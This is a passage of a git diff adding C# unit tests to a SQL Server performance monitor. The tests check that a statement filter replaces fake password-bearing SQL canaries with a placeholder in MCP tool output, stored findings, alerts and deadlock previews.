+        Assert.Contains("kept-predicate-ssf", text, StringComparison.Ordinal);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, text, StringComparison.Ordinal);
+        }
+    }
+
+    private async Task SeedAsync(string? planXml)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        _seedConn ??= _duckDb.CreateConnection();
+        if (_seedConn.State != System.Data.ConnectionState.Open)
+            await _seedConn.OpenAsync();
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, plan_handle,
+     creation_time, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, delta_spills,
+     query_text, query_plan_xml)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 10, 500000, 1000000, 1000, 0, $10, $11)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = 1L });
+        cmd.Parameters.Add(new DuckDBParameter { Value = WindowEnd.AddMinutes(-30) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "SsfDb" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Hash });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "0xSSF0LITEPLAN" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = PlanHandle });
+        cmd.Parameters.Add(new DuckDBParameter { Value = WindowEnd.AddDays(-1) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "SELECT * FROM dbo.SsfLiteTable" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = planXml is null ? DBNull.Value : planXml });
+        await cmd.ExecuteNonQueryAsync();
+    }
+}
diff --git a/Lite.Tests/StatementFilterLiteMcpTests.cs b/Lite.Tests/StatementFilterLiteMcpTests.cs
new file mode 100644
index 0000000000..8161320e36
--- /dev/null
+++ b/Lite.Tests/StatementFilterLiteMcpTests.cs
@@ -0,0 +1,374 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.IO.Pipelines;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Darling.Tests;
+using Microsoft.Extensions.DependencyInjection;
+using ModelContextProtocol.Client;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348: Lite's MCP answers go through the statement filter. Each case plants the canary statement in the store
+/// rows a tool reads, runs the tool RAW (the tool method alone, the control that proves the plant reached the output)
+/// and FILTERED (the same call through a real in-process MCP server that registers the host's REAL call-tool filter
+/// list, <see cref="McpHostService.AddCallToolFilters"/>), then asserts what the filtered text may hold.
+/// </summary>
+public sealed class StatementFilterLiteMcpTests : IClassFixture<SharedDuckDbFixture>, IAsyncDisposable
+{
+    private const string ServerName = "SsfLiteSrv";
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private readonly LocalDataService _service;
+    private readonly int _serverId;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 910000;
+    private ServerHost? _host;
+
+    public StatementFilterLiteMcpTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-ssf-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+        var server = new ServerConnection { Id = Guid.NewGuid().ToString(), ServerName = ServerName, IsEnabled = true };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
+        _service = new LocalDataService(_duckDb);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (_host is not null) await _host.DisposeAsync();
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    // ── the cases: one per planted read ──
+
+    [Fact]
+    public async Task GetActiveQueries_WithholdsTheCanaryStatement()
+    {
+        await SeedSnapshotAsync(77, StatementScrubCanary.CanaryStatement);
+        await SeedSnapshotAsync(78, StatementScrubCanary.PlainStatement);
+
+        string raw = await McpSessionTools.GetActiveQueries(_service, _serverManager, ServerName);
+        string filtered = await CallFilteredAsync("get_active_queries", ("server_name", ServerName));
+        AssertWithheld(raw, filtered, rawAlreadyWithheld: true);
+    }
+
+    /// <summary>
+    /// #5320: the 400-character preview used to be cut BEFORE the host's sweep, and a URI's <c>user:secret@</c> is named by
+    /// its closing at-sign, so a cut between the secret's first characters and the at-sign was judged clean and left with
+    /// them. The statement is now judged whole, then cut.
+    /// </summary>
+    [Fact]
+    public async Task GetActiveQueries_WithholdsAUriSecret_ThatStraddlesTheFourHundredCharacterCut()
+    {
+        await SeedSnapshotAsync(79, StatementScrubCanary.UriStatement(400));
+
+        string filtered = await CallFilteredAsync("get_active_queries", ("server_name", ServerName));
+
+        Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, filtered, StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, filtered);
+    }
+
+    [Fact]
+    public async Task GetTopQueriesByCpu_WithholdsTheCanaryStatement()
+    {
+        await SeedQueryStatAsync("0xCANARY01", StatementScrubCanary.CanaryStatement, planXml: null);
+        await SeedQueryStatAsync("0xPLAIN001", StatementScrubCanary.PlainStatement, planXml: null);
+
+        string raw = await McpQueryTools.GetTopQueriesByCpu(_service, _serverManager, ServerName, hours_back: 24, top: 20);
+        string filtered = await CallFilteredAsync("get_top_queries_by_cpu", ("server_name", ServerName));
+        AssertWithheld(raw, filtered, rawAlreadyWithheld: true);
+    }
+
+    [Fact]
+    public async Task GetBlockedProcessReports_WithholdsTheCanaryStatement()
+    {
+        await ExecAsync(@"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid,
+     wait_time_ms, lock_mode, blocked_status, blocking_status, blocked_sql_text, blocking_sql_text)
+VALUES ($1, $2, $3, $4, $2, 'SsfDb', 55, 66, 1000, 'X', 'suspended', 'running', $5, $6)",
+            _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName,
+            StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement);
+
+        string raw = await McpBlockingTools.GetBlockedProcessReports(_service, _serverManager, ServerName, full_text: true);
+        string filtered = await CallFilteredAsync("get_blocked_process_reports", ("server_name", ServerName), ("full_text", true));
+        AssertWithheld(raw, filtered);
+    }
+
+    [Fact]
+    public async Task GetDeadlockDetail_WithholdsTheCanaryStatement_AlsoInTheCutPreview()
+    {
+        /* The canary sits where the 2000-character preview's cut lands inside the secret. */
+        string graph = "<deadlock><victim-list><victimProcess id=\"p1\"/></victim-list><process-list>"
+            + "<process id=\"p1\"><inputbuf>" + new string(' ', 1960) + StatementScrubCanary.CanaryStatement
+            + "</inputbuf></process></process-list></deadlock>";
+        await ExecAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml, victim_sql_text)
+VALUES ($1, $2, $3, $4, $2, $5, $6)", _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName,
+            graph, StatementScrubCanary.CanaryStatement);
+
+        string raw = await McpBlockingTools.GetDeadlockDetail(_service, _serverManager, ServerName, full_graph: true);
+        Assert.Contains("S3cret-canary-ssf", raw);
+        foreach (bool full in new[] { false, true })
+        {
+            string filtered = await CallFilteredAsync("get_deadlock_detail", ("server_name", ServerName), ("full_graph", full));
+            foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, filtered);
+            Assert.DoesNotContain("PASSWORD", filtered, StringComparison.OrdinalIgnoreCase);
+            Assert.Contains(SensitiveStatements.PlaceholderText, filtered);
+        }
+    }
+
+    [Fact]
+    public async Task GetDeadlockDetail_PreviewTruncatedFlag_IsReadOffTheFilteredGraph_NotTheRawOne()
+    {
+        /* L3, shrink: a raw graph past the 2000-character preview whose long statement the filter replaces by the marker comes
+           back SHORT, so nothing was cut and the flag is false (the raw length said true). */
+        string longSecret = "CREATE LOGIN [shrink_ssf] WITH PASSWORD = N'" + new string('s', 1500) + "'";
+        string shrinking = Graph(longSecret + new string(' ', 400));
+        Assert.True(shrinking.Length > 2000);
+        var shrunk = await PreviewOfAsync(shrinking);
+        Assert.False(shrunk.Truncated);
+        Assert.DoesNotContain("PASSWORD", shrunk.Xml, StringComparison.OrdinalIgnoreCase);
+        Assert.True(shrunk.Xml.Length < 2000);
+
+        /* L3, growth: a raw graph of exactly 2000 characters whose 32-character statement becomes the 34-character marker
+           is over 2000 filtered, so the preview cuts it and the flag is true (the raw length said false). The padding sits in an attribute: the filter
+           replaces the statement's whole text, so padding after it would be dropped with it. */
+        string shortSecret = "CREATE LOGIN a WITH PASSWORD='x'";
+        string padded = Graph(shortSecret, pad: 2000 - Graph(shortSecret).Length - " note=\"\"".Length);
+        Assert.Equal(2000, padded.Length);
+        string? judged = SensitiveStatements.Xml(padded);
+        Assert.True(judged!.Length > 2000, "the filtered graph should be longer than the raw one: " + judged.Length);
+        var grown = await PreviewOfAsync(padded);
+        Assert.True(grown.Truncated);
+        Assert.EndsWith("... (truncated)", grown.Xml);
+        Assert.DoesNotContain("PASSWORD", grown.Xml, StringComparison.OrdinalIgnoreCase);
+
+        /* the plain graph is cut once and flagged once, on both lengths */
+        var plain = await PreviewOfAsync(Graph(new string('p', 2500)));
+        Assert.True(plain.Truncated);
+        var small = await PreviewOfAsync(Graph("SELECT 1"));
+        Assert.False(small.Truncated);
+    }
+
+    private static string Graph(string inputBuffer, int pad = 0) =>
+        "<deadlock" + (pad > 0 ? " note=\"" + new string('n', pad) + "\"" : "") + "><victim-list><victimProcess id=\"p1\"/></victim-list><process-list><process id=\"p1\"><inputbuf>"
+        + inputBuffer + "</inputbuf></process></process-list></deadlock>";
+
+    private async Task<(string Xml, bool Truncated)> PreviewOfAsync(string graph)
+    {
+        await ExecAsync("DELETE FROM deadlocks");
+        await ExecAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml, victim_sql_text)
+VALUES ($1, $2, $3, $4, $2, $5, $6)", _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName, graph, "x");
+        string json = await McpBlockingTools.GetDeadlockDetail(_service, _serverManager, ServerName, full_graph: false);
+        var row = System.Text.Json.Nodes.JsonNode.Parse(json)!["deadlocks"]![0]!;
+        return ((string)row["deadlock_graph_xml"]!, (bool)row["deadlock_graph_xml_truncated"]!);
+    }
+
+    [Fact]
+    public async Task AnMcpExceptionThatNamesAStatement_ReachesTheClientSwept_ThroughLitesRealFilterList()
+    {
+        /* L1: the SDK builds an error result from a thrown McpException's message outside the result sweep. */
+        string filtered = await CallFilteredAsync("ssf_throw_probe", ("message", StatementScrubCanary.CanaryStatement));
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, filtered);
+        Assert.Contains(SensitiveStatements.PlaceholderText, filtered);
+
+        string kept = await CallFilteredAsync("ssf_throw_probe", ("message", "server_name is required"));
+        Assert.Contains("server_name is required", kept);
+    }
+
+    [ModelContextProtocol.Server.McpServerToolType]
+    private sealed class ThrowProbeTools
+    {
+        [ModelContextProtocol.Server.McpServerTool(Name = "ssf_throw_probe"), System.ComponentModel.Description("Test-only: throws an McpException.")]
+        public static string Throw([System.ComponentModel.Description("The message.")] string message) =>
+            throw new ModelContextProtocol.McpException(message);
+    }
+
+    [Fact]
+    public async Task GetPlanXml_WithholdsTheCanaryStatement_AndKeepsTheRestOfThePlan()
+    {
+        string plan = StatementScrubCanary.CanaryPlan();
+        await SeedQueryStatAsync("0xPLANCAN1", StatementScrubCanary.PlainStatement, plan);
+
+        string raw = await McpPlanTools.GetPlanXml(_service, _serverManager, "0xPLANCAN1", ServerName);
+        string filtered = await CallFilteredAsync("get_plan_xml", ("query_hash", "0xPLANCAN1"), ("server_name", ServerName));
+
+        Assert.Contains("S3cret-canary-ssf", plan);
+        /* The tool's own read is the filtered one (Layer 1), so even the tool method alone holds no secret. */
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, raw);
+        AssertPlanFilteredKeepsTheRest(filtered);
+    }
+
+    [Fact]
+    public async Task GetAlertHistory_WithholdsTheCanaryStatement()
+    {
+        await ExecAsync(@"
+INSERT INTO config_alert_log (alert_time, server_id, server_name, metric_name, current_value, threshold_value, detail_text)
+VALUES ($1, $2, $3, 'Blocking Detected', 1, 0, $4)", Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName,
+            "Blocked: " + StatementScrubCanary.CanaryStatement);
+
+        string raw = await McpAlertTools.GetAlertHistory(_service, 24);
+        string filtered = await CallFilteredAsync("get_alert_history");
+        AssertWithheld(raw, filtered);
+    }
+
+    // ── what the filter must leave alone ──
+
+    [Fact]
+    public async Task ACleanAnswer_ComesBackUnchanged()
+    {
+        await SeedSnapshotAsync(78, StatementScrubCanary.PlainStatement);
+
+        /* as_of pins the window's clock, so the two answers differ only by the filter. */
+        string asOf = DateTime.UtcNow.ToString("o");
+        string raw = await McpSessionTools.GetActiveQueries(_service, _serverManager, ServerName, as_of: asOf);
+        string filtered = await CallFilteredAsync("get_active_queries", ("server_name", ServerName), ("as_of", asOf));
+
+        Assert.Equal(raw, filtered);
+    }
+
+    // ── plumbing ──
+
+    /// <param name="rawAlreadyWithheld">True for a tool whose own preview already filters the statement (#5320), so the unswept
+    /// answer holds the marker rather than the canary.</param>
+    private static void AssertWithheld(string raw, string filtered, bool rawAlreadyWithheld = false)
+    {
+        if (rawAlreadyWithheld) Assert.DoesNotContain("S3cret-canary-ssf", raw);
+        else Assert.Contains("S3cret-canary-ssf", raw);
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, filtered);
+        Assert.Contains(SensitiveStatements.PlaceholderText, filtered);
+        foreach (string kept in StatementScrubCanary.KeptNeedles.Where(k => raw.Contains(k, StringComparison.Ordinal)))
+            Assert.Contains(kept, filtered);
+    }
+
+    private static void AssertPlanFilteredKeepsTheRest(string filteredPlan)
+    {
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, filteredPlan);
+        var doc = System.Xml.Linq.XDocument.Parse(filteredPlan);
+        var statements = doc.Descendants().Where(e => e.Name.LocalName == "StmtSimple")
+            .Select(e => (string?)e.Attribute("StatementText")).ToList();
+        Assert.Equal(SensitiveStatements.PlaceholderText, statements[0]);
+        Assert.Equal(StatementScrubCanary.PlainStatement, statements[1]);
+        Assert.Contains(doc.Descendants(), e => (string?)e.Attribute("ParameterCompiledValue") == "N'param-canary-ssf'");
+    }
+
+    private async Task<string> CallFilteredAsync(string tool, params (string Key, object Value)[] args)
+    {
+        _host ??= await ServerHost.StartAsync(_service, _serverManager);
+        var arguments = args.ToDictionary(a => a.Key, a => (object?)a.Value);
+        CallToolResult result = await _host.Client.CallToolAsync(tool, arguments);
+        return string.Concat(result.Content.OfType<TextContentBlock>().Select(b => b.Text));
+    }
+
+    private Task SeedSnapshotAsync(int sessionId, string queryText) => ExecAsync(@"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status)
+VALUES ($1, $2, $3, $4, $5, 'SsfDb', $6, 'running')",
+        _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName, sessionId, queryText);
+
+    private Task SeedQueryStatAsync(string queryHash, string queryText, string? planXml) => ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, query_hash, query_text, query_plan_xml, database_name,
+     execution_count, total_elapsed_time, total_worker_time, total_logical_reads, total_logical_writes, total_physical_reads,
+     delta_execution_count, delta_elapsed_time, delta_worker_time, delta_logical_reads, delta_logical_writes, delta_physical_reads,
+     delta_rows, delta_spills, last_execution_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, 'SsfDb', 10, 1000, 1000, 0, 0, 0, 10, 1000, 1000, 0, 0, 0, 0, 0, $2)",
+        _nextId++, Naive(DateTime.UtcNow.AddMinutes(-5)), _serverId, ServerName, queryHash, queryText, (object?)planXml ?? DBNull.Value);
+
+    private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    private async Task ExecAsync(string sql, params object[] parameters)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var p in parameters) cmd.Parameters.Add(new DuckDBParameter { Value = p });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>A real in-process MCP server with Lite's tool classes, the real data service, and the host's REAL call-tool
+    /// filter list.</summary>
+    private sealed class ServerHost : IAsyncDisposable
+    {
+        private readonly ServiceProvider _provider;
+        private readonly CancellationTokenSource _stop;
+        private readonly Task _run;
+
+        private ServerHost(ServiceProvider provider, CancellationTokenSource stop, Task run, McpClient client)
+        {
+            _provider = provider;
+            _stop = stop;
+            _run = run;
+            Client = client;
+        }
+
+        public McpClient Client { get; }
+
+        public static async Task<ServerHost> StartAsync(LocalDataService data, ServerManager servers)
+        {
+            var c2s = new Pipe();
+            var s2c = new Pipe();
+            var services = new ServiceCollection();
+            services.AddLogging();
+            services.AddSingleton(data);
+            services.AddSingleton(servers);
+            var builder = services.AddMcpServer()
+                .WithStreamServerTransport(c2s.Reader.AsStream(), s2c.Writer.AsStream())
+                .WithTools<McpSessionTools>()
+                .WithTools<McpQueryTools>()
+                .WithTools<McpBlockingTools>()
+                .WithTools<McpPlanTools>()
+                .WithTools<McpAlertTools>()
+                .WithTools<ThrowProbeTools>();
+            builder.WithRequestFilters(McpHostService.AddCallToolFilters);
+
+            var provider = services.BuildServiceProvider();
+            var stop = new CancellationTokenSource();
+            var run = provider.GetRequiredService<McpServer>().RunAsync(stop.Token);
+            var client = await McpClient.CreateAsync(new StreamClientTransport(c2s.Writer.AsStream(), s2c.Reader.AsStream()));
+            return new ServerHost(provider, stop, run, client);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Client.DisposeAsync();
+            _stop.Cancel();
+            await _provider.DisposeAsync();
+            try { await _run; } catch (Exception) { /* shutdown */ }
+        }
+    }
+}
diff --git a/Lite.Tests/StatementScrubDeadlockCleanupTests.cs b/Lite.Tests/StatementScrubDeadlockCleanupTests.cs
new file mode 100644
index 0000000000..d3bd80f8a9
--- /dev/null
+++ b/Lite.Tests/StatementScrubDeadlockCleanupTests.cs
@@ -0,0 +1,100 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348 (statement filter, collection of blocking and deadlocks): a deadlock graph
+/// that the filter withheld WHOLE is stored as the marker text, the same for every such event. Two different
+/// deadlocks at the same time would then look like exact copies of each other, so neither the startup cleanup that
+/// deletes exact copies nor the read that shows each stored event once may treat a marker graph as a copy. A real
+/// copy still goes.
+/// </summary>
+public class StatementScrubDeadlockCleanupTests : IDisposable
+{
+    private const int Server = -445301;
+    private static readonly DateTime EventTime = new(2026, 3, 10, 9, 30, 0);
+    private const string Plain = "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list></deadlock>";
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+
+    public StatementScrubDeadlockCleanupTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    [Fact]
+    public async Task TwoWholeMarkerDeadlocksAtTheSameTime_AreBothKept_ByTheCleanup_AndBothShownByTheRead_WhileARealCopyStillGoes()
+    {
+        using (var initializer = new DuckDbInitializer(_dbPath))
+        {
+            await initializer.InitializeAsync();
+        }
+
+        using var connection = new DuckDBConnection($"Data Source={_dbPath}");
+        await connection.OpenAsync();
+
+        /* Two different deadlocks at one time, both withheld whole; and one real copy pair as the control. */
+        await InsertAsync(connection, 1, EventTime.AddMinutes(1), Marker);
+        await InsertAsync(connection, 2, EventTime.AddMinutes(2), Marker);
+        await InsertAsync(connection, 3, EventTime.AddMinutes(3), Plain);
+        await InsertAsync(connection, 4, EventTime.AddMinutes(4), Plain);
+
+        /* The read collapses copies but keeps both marker events. */
+        var shown = await IdsAsync(connection,
+            "SELECT deadlock_id FROM " + StoredEventCopies.Deadlocks("server_id = " + Server) + " AS d ORDER BY 1");
+        Assert.Equal(new List<long> { 1, 2, 3 }, shown);
+
+        var removed = await DeadlockDuplicateCleanup.RemoveAsync(connection, logger: null);
+
+        Assert.Equal(1, removed);
+        Assert.Equal(new List<long> { 1, 2, 3 }, await IdsAsync(connection, "SELECT deadlock_id FROM deadlocks ORDER BY 1"));
+    }
+
+    private static async Task InsertAsync(DuckDBConnection connection, long id, DateTime collectionTime, string graph)
+    {
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml) VALUES ($1,$2,$3,$4,$5,$6)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = id });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collectionTime });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Server });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "S" + Server });
+        cmd.Parameters.Add(new DuckDBParameter { Value = EventTime });
+        cmd.Parameters.Add(new DuckDBParameter { Value = graph });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private static async Task<List<long>> IdsAsync(DuckDBConnection connection, string sql)
+    {
+        var ids = new List<long>();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        using var reader = await cmd.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+            ids.Add(Convert.ToInt64(reader.GetValue(0)));
+        return ids;
+    }
+}
diff --git a/Lite.Tests/StatementScrubDerivedStoreTests.cs b/Lite.Tests/StatementScrubDerivedStoreTests.cs
new file mode 100644
index 0000000000..f2e04b0281
--- /dev/null
+++ b/Lite.Tests/StatementScrubDerivedStoreTests.cs
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Darling.Tests;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4348, #5320 (lane R10, Layer 0b), Lite twin of Darling's <c>StatementScrubDerivedStoreTests</c>: a finding and an
+/// alert built from a raw planted source row store the marker in DuckDB, and a clean row is stored byte for byte as
+/// before. The shared helper's own cases (same instance on clean input, unreadable JSON) live in Darling's class and
+/// cover both apps; here the two Lite writers are proven against a real DuckDB file.
+/// </summary>
+public sealed class StatementScrubDerivedStoreTests : IDisposable
+{
+    private const int ServerId = 532010;
+
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+
+    public StatementScrubDerivedStoreTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private static AnalysisFinding Finding(long id, string hash, string story, Dictionary<string, object>? drillDown) => new()
+    {
+        FindingId = id,
+        ServerId = ServerId,
+        ServerName = "derived-scrub-finding",
+        Category = "queries",
+        StoryPath = "SCRUB_A -> SCRUB_B",
+        StoryPathHash = hash,
+        IncidentId = "inc-" + hash,
+        Severity = 1.2,
+        Confidence = StoryConfidence.Compute(1, 5, 2),
+        FactCount = 2,
+        RootFactKey = "SCRUB_A",
+        RootFactValue = 1.0,
+        AnalysisTime = DateTime.UtcNow,
+        StoryText = story,
+        DrillDown = drillDown,
+    };
+
+    private static Dictionary<string, object> DrillDown(string statement) => new()
+    {
+        ["top_queries"] = new[]
+        {
+            new Dictionary<string, object> { ["query_text"] = statement, ["executions"] = 7 },
+        },
+    };
+
+    [Fact]
+    public async Task AFindingBuiltFromARawPlantedRowStoresTheMarker()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var store = new FindingStore(_duckDb);
+        var plainDrill = DrillDown(StatementScrubCanary.PlainStatement);
+        var context = new AnalysisContext
+        {
+            ServerId = ServerId,
+            ServerName = "derived-scrub-finding",
+            TimeRangeStart = DateTime.UtcNow.AddHours(-4),
+            TimeRangeEnd = DateTime.UtcNow,
+        };
+
+        await store.InsertFindingsAsync(new List<AnalysisFinding>
+        {
+            Finding(1, "rawcanary01", "Blocked on " + StatementScrubCanary.CanaryStatement, DrillDown(StatementScrubCanary.CanaryStatement)),
+            Finding(2, "plaincanary01", "Waits rose on " + StatementScrubCanary.PlainStatement, plainDrill),
+        }, context);
+
+        var raw = await ReadFindingAsync("rawcanary01");
+        Assert.Equal(SensitiveStatements.PlaceholderText, raw.Story);
+        Assert.NotNull(raw.Drill);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, raw.Drill, StringComparison.Ordinal);
+        }
+        Assert.Contains(SensitiveStatements.PlaceholderText, raw.Drill, StringComparison.Ordinal);
+        using (JsonDocument.Parse(raw.Drill!)) { }
+
+        /* The clean finding is stored byte for byte as the serializer wrote it. */
+        var plain = await ReadFindingAsync("plaincanary01");
+        Assert.Equal("Waits rose on " + StatementScrubCanary.PlainStatement, plain.Story);
+        Assert.Equal(DrillDownSerializer.Serialize(plainDrill), plain.Drill);
+    }
+
+    private async Task<(string Story, string? Drill)> ReadFindingAsync(string hash)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = "SELECT story_text, drill_down_json FROM analysis_findings WHERE server_id = $1 AND story_path_hash = $2";
+        command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = ServerId });
+        command.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = hash });
+        using var reader = await command.ExecuteReaderAsync();
+        Assert.True(await reader.ReadAsync());
+        return (reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1));
+    }
+
+    [Fact]
+    public async Task AnAlertBuiltFromARawPlantedRowStoresTheMarker()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var store = new DuckDbAlertHistoryStore(_duckDb);
+        var serverKey = ServerId.ToString(System.Globalization.CultureInfo.InvariantCulture);
+        var contextJson = JsonSerializer.Serialize(new { dedup = "abc123", query_text = StatementScrubCanary.CanaryStatement });
+        var plainContext = JsonSerializer.Serialize(new { dedup = "abc124", query_text = StatementScrubCanary.PlainStatement });
+
+        await store.RecordAlertAsync(new AlertHistoryRecord(
+            serverKey, "derived-scrub-alert", "Scrub Raw", "1", "1", 1, 1, AlertDelivery.NoChannelApplies(), false,
+            "Long query: " + StatementScrubCanary.CanaryStatement, contextJson));
+        await store.RecordAlertAsync(new AlertHistoryRecord(
+            serverKey, "derived-scrub-alert", "Scrub Plain", "1", "1", 1, 1, AlertDelivery.NoChannelApplies(), false,
+            "Long query: " + StatementScrubCanary.PlainStatement, plainContext));
+
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var read = connection.CreateCommand();
+        read.CommandText = "SELECT metric_name, detail_text, context_json FROM config_alert_log WHERE server_id = $1";
+        read.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = ServerId });
+        var rows = new Dictionary<string, (string? Detail, string? Context)>();
+        using (var reader = await read.ExecuteReaderAsync())
+        {
+            while (await reader.ReadAsync())
+            {
+                rows[reader.GetString(0)] = (reader.IsDBNull(1) ? null : reader.GetString(1), reader.IsDBNull(2) ? null : reader.GetString(2));
+            }
+        }
+
+        Assert.Equal(2, rows.Count);
+        var raw = rows["Scrub Raw"];
+        Assert.Equal(SensitiveStatements.PlaceholderText, raw.Detail);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
